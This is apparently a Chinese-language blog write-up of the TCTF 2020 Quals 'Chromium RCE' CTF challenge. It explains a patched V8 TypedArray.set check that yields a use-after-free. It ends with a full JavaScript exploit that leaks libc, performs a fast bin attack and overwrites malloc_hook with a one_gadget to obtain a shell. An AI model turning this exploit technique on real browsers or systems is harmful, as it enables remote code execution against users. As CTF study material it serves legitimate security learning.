【CTF】TCTF 2020 Chromium RCE

TCTF 2020 Quals 中的 Chromium RCE 这题改自 Chromium V8,在 Ignition 中构造了一个漏洞。这题也是这回 PWN 中最简单的一题,但是也花了好久才解出来,还是太菜了,在这里记录一下。

背景

JavaScript 中有一个类型名为 ArrayBuffer,该对象代表一个缓存区,即一段内存。操作 ArrayBuffer 背后的内存需要通过 TypedArray 数据结构,例如:

var buffer = new ArrayBuffer(0x10);
var array = new Int8Array(buffer);

其中,new ArrayBuffer 执行的时候,会向堆中申请 0x10 字节大小的内存,存放在 ArrayBuffer 的 Backing Store 指针中。之后,对 array 值的设置就是对这个 0x10 大小的内存区域进行写入。

ArrayBuffer 对象中的 Backing Store 指向的内存可以使用 %ArrayBufferDetach 进行释放,释放掉之后 Backing Store 会被置为 nil,如下图所示。

漏洞

题目提供了一个 Release 版本的可执行程序,以及一个 diff。此外,题目提供了 git 仓库的 commit id,方便本地调试。为了更好地理解漏洞,通过提供的 commit id(f7a1932ef928c190de32dd78246f75bd4ca8778b)将 V8 代码切换到该版本:

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

然后应用题目提供的 diff 文件:

git apply /path/to/chromium_rce/tctf/tctf.diff

diff 文件一共修改了 4 个文件,其中 d8.cc 是为了本地化部署题目所做的一些修改,与漏洞无关,parser.cc 和 parser-base.h 使得 d8 在不使用 –allow-natives-syntax 选项的时候也能使用 V8 的 Runtime 函数(即 % 开头的功能),但是只允许使用 %ArrayBufferDetach 功能。真正与漏洞相关的是对 typed-array-set.tq 文件的修改,主要修改了 TypedArrayPrototypeSet 函数(src/builtins/typed-array-set.tq),这个函数在 Ignition 解释器执行 TypedArray 的 set 函数时调用,修改如下:

- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);

- const utypedArray = typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

可以通过语义理解这一句是将 target 的类型转化成 AttachedJSTypedArray,而 EnsureAttached 函数会在转换类型的时候判断 TypedArray 对应的 ArrayBuffer 是否被 Detached,即对应的内存区域是否被释放,如果已经释放则进入 isDetached 标签对应的地方执行,即抛出异常,代码如下(src/builtins/typed-array.tq):

macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
        labels Detached {
    if (IsDetachedBuffer(array.buffer)) goto Detached;
    return %RawDownCast<AttachedJSTypedArray>(array);
}

因此,修改之后的代码使得 TypedArray 写入的那段内存是否被释放,都可以进入 set 函数的处理逻辑。

如果 set 函数的参数是一个 TypedArray,则会进入 TypedArrayPrototypeSetTypedArray 函数执行,该函数会对是否越界进行检查,同时检查目标 TypedArray(即 set 函数的调用者)和源 TypedArray 的元素类型是否类似,如果类似且最终没有越界,会直接调用 CallCMemmove 函数,直接将内存内的内容进行移动。

因此,我们可以在 ArrayBuffer 上调用 %ArrayBufferDetached 使得内存被释放,继而通过 set 这里的漏洞继续写入这段内存或者读取这段内存,从而实现 UAF。

(一开始看到这个漏洞的时候,没有想到普通二进制的 UAF 利用,还想着能不能通过这里的漏洞实现一个越界读写的 JSArray,因此浪费了一点时间。)

利用

为了调试方便,在应用了 diff 文件之后,编译了一个 Debug 版本的可执行文件。在这里,如果需要执行 V8 中的其他 Runtime 函数(例如 %DebugPrint 等),需要将 diff 文件更改的 parser.cc 中的 if 语句块给去掉。

首先,需要泄漏 libc 的地址。由于这个 UAF 漏洞,可读可写,而且可以控制任意大小的内存来申请,因此漏洞还是很强大的,所以利用起来也比较常规。由于环境是 libc-2.27,首先需要填充 tache,并将需要泄漏的 Chunk 放入 unsorted bin 中。这里需要注意的是 new ArrayBuffer 会将申请的内存初始化,因此调用的是 calloc,不会从 tcache 中申请内存,所以我们在泄漏之前构造如下堆内存布局:

然后申请一个 ArrayBuffer,用作泄漏用的工具 Buffer,从而泄漏 main_arena 的地址,进一步得到 libc 地址:

var tool_buffer = new ArrayBuffer(0x400);
var tool_array = new BigUint64Array(tool_buffer);
tool_array.set(tmp_array[7], 0);
main_arena = Number(tool_array[0]) - 96;

之后进行任意地址写入。由于申请内存使用的是 calloc,因此我们需要通过 fast bin 来实现地址写,这里使用的是改写 malloc_hook 为 one_gadget 实现,具体方法比较简单,不做详细介绍,可以参考下面的 Exp。最终可以劫持到 Shell:

总体来说理解了漏洞之后,还是比较简单的。可能在利用过程中比较麻烦的是 V8 的堆布局,除了我们使用 new ArrayBuffer 会对其造成影响之外,其他 V8 的一些内置操作也会改变堆布局(比如 GC)。

Exp

function hex(i) {
    return '0x' + i.toString(16).padStart('0');
}

var tmp_buffer = [];
var tmp_array = [];

for (var i = 0; i < 8; ++i) {
    tmp_buffer[i] = new ArrayBuffer(0x400);
    tmp_array[i] = new BigUint64Array(tmp_buffer[i]);
}

for (var i = 0; i < 8; ++i) {
    % ArrayBufferDetach(tmp_buffer[i]);
}

var tool_buffer = new ArrayBuffer(0x400);
var tool_array = new BigUint64Array(tool_buffer);
tool_array.set(tmp_array[7], 0);
main_arena = Number(tool_array[0]) - 96;
libc = main_arena - 0x3ebc40;
malloc_hook = libc + 0x3ebc30
target = malloc_hook - 35;
libc_realloc = libc + 0x98c30
one_gadget = libc + 0x4f322

// fast bin attack
var fast_tool_buffer = new ArrayBuffer(0x10);
var fast_tool_array = new BigUint64Array(fast_tool_buffer);
var fasts = [];
var fasts_array = [];
for (var i = 0; i < 7; ++i) {
    fasts[i] = new ArrayBuffer(0x60);
    fasts_array[i] = new BigUint64Array(fasts[i]);
}
for (var i = 0; i < 7; ++i) {
    % ArrayBufferDetach(fasts[i]);
}
fast_tool_array.set([BigInt(target)], 0);
fasts_array[6].set(fast_tool_array, 0);
var junk = new ArrayBuffer(0x60);
var junk_array = new BigUint64Array(junk);
var goal = new ArrayBuffer(0x60);
var goal_array = new Uint8Array(goal);


var payload = new ArrayBuffer(0x10);
var payload_array = new Uint8Array(payload);
var payload_helper_array = new BigUint64Array(payload);
payload_helper_array.set([BigInt(one_gadget), BigInt(one_gadget)]);
goal_array.set(payload_array, 11);

var end = new ArrayBuffer(0x40);

参考

Leave a Reply

Your email address will not be published. Required fields are marked *